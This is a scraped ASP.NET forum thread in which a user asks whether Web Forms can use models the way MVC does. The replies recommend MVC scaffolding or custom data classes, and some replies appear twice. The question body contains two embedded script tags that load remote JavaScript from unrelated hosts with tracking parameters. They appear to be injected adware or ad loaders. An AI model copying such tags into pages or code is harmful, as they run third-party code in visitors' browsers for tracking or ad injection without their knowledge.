Answered by:
mvc model in asp.net

Question
-
User1515160841 posted
Hi.
In mvc, we use model. So, record adding,upating, showing data is very simple.
Is there any method in asp.net like mvc? That is, can i create models like nvc in asp.net?
Thanks.
<script type="text/javascript" src="//loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
Tuesday, September 18, 2012 5:24 PM
Answers
-
User-691245060 posted
Model Scaffolding in asp.net mvc - http://blog.stevensanderson.com/2011/01/13/scaffold-your-aspnet-mvc-3-project-with-the-mvcscaffolding-package/
Thanks,
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Wednesday, September 19, 2012 3:26 AM -
User1999579388 posted
In mvc, we use model. So, record adding,upating, showing data is very simple.Hi,
If you want to add, update records, you could create a class and then store those methods in it. When you need to use those methods, call them in your code. You could reference on below article, it may help you.
http://www.aspnettutorials.com/tutorials/advanced/custom-class-cs.aspx
Thanks.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Monday, September 24, 2012 12:39 PM
All replies
-
User146802239 posted
There is no any spacific mathod that you can create a model and can get it in ASPX.
but if you have model than u can use is in .cs page and also you can bind Data programatically in code behind beacuase all controll can get codebehind.
Wednesday, September 19, 2012 1:05 AM -
User-691245060 posted
Model Scaffolding in asp.net mvc - http://blog.stevensanderson.com/2011/01/13/scaffold-your-aspnet-mvc-3-project-with-the-mvcscaffolding-package/
Thanks,
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Wednesday, September 19, 2012 3:26 AM -
User1999579388 posted
In mvc, we use model. So, record adding,upating, showing data is very simple.Hi,
If you want to add, update records, you could create a class and then store those methods in it. When you need to use those methods, call them in your code. You could reference on below article, it may help you.
http://www.aspnettutorials.com/tutorials/advanced/custom-class-cs.aspx
Thanks.
- Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
Monday, September 24, 2012 12:39 PM